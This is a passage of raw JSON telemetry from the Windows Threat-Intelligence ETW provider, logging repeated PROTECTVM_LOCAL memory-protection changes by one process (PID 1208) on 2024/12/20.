type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"128\",\"RegionSize\":\"0x0000025BA365C950\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":97,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973910115,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C9F0\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"64\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"128\",\"RegionSize\":\"0x0000025BA365C7C0\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":98,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973910127,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C6D0\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"64\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"128\",\"RegionSize\":\"0x0000025BA365C950\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":99,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973910139,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C4F0\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"64\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"128\",\"RegionSize\":\"0x0000025BA365C5E0\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":100,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973910152,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365CB30\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"64\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"128\",\"RegionSize\":\"0x0000025BA365C7C0\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":101,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973910166,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C4F0\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"64\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"128\",\"RegionSize\":\"0x0000025BA365C4F0\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":102,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973910178,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C4A0\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"64\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"128\",\"RegionSize\":\"0x0000025BA365CB30\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":103,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973910192,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C8B0\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"64\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"128\",\"RegionSize\":\"0x0000025BA365C630\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":104,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973910204,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C8B0\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"64\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"128\",\"RegionSize\":\"0x0000025BA365C4F0\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":105,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973910216,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C9F0\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"64\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"128\",\"RegionSize\":\"0x0000025BA365C4F0\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":106,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973910228,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C4F0\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"64\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"128\",\"RegionSize\":\"0x0000025BA365C540\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":107,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973910241,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C720\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"64\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"128\",\"RegionSize\":\"0x0000025BA365C720\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":108,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973910254,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C5E0\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"64\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"32\",\"RegionSize\":\"0x0000025BA365CB30\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":109,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973910267,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C9A0\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"64\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"128\",\"RegionSize\":\"0x0000025BA365C8B0\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":110,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973910279,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365CB30\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"64\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"128\",\"RegionSize\":\"0x0000025BA365C7C0\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":111,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973910292,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C630\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"64\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"128\",\"RegionSize\":\"0x0000025BA365C5E0\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":112,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973910304,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C900\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"64\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"128\",\"RegionSize\":\"0x0000025BA365C810\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":113,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973910316,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C9F0\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"64\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"32\",\"RegionSize\":\"0x0000025BA365C9A0\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":114,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973910328,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C810\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"64\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"32\",\"RegionSize\":\"0x0000025BA365C8B0\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":115,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973910344,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C9A0\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"64\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"32\",\"RegionSize\":\"0x0000025BA365C900\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":116,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973910355,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C4A0\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"64\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"32\",\"RegionSize\":\"0x0000025BA365C950\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":117,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973910372,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C540\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 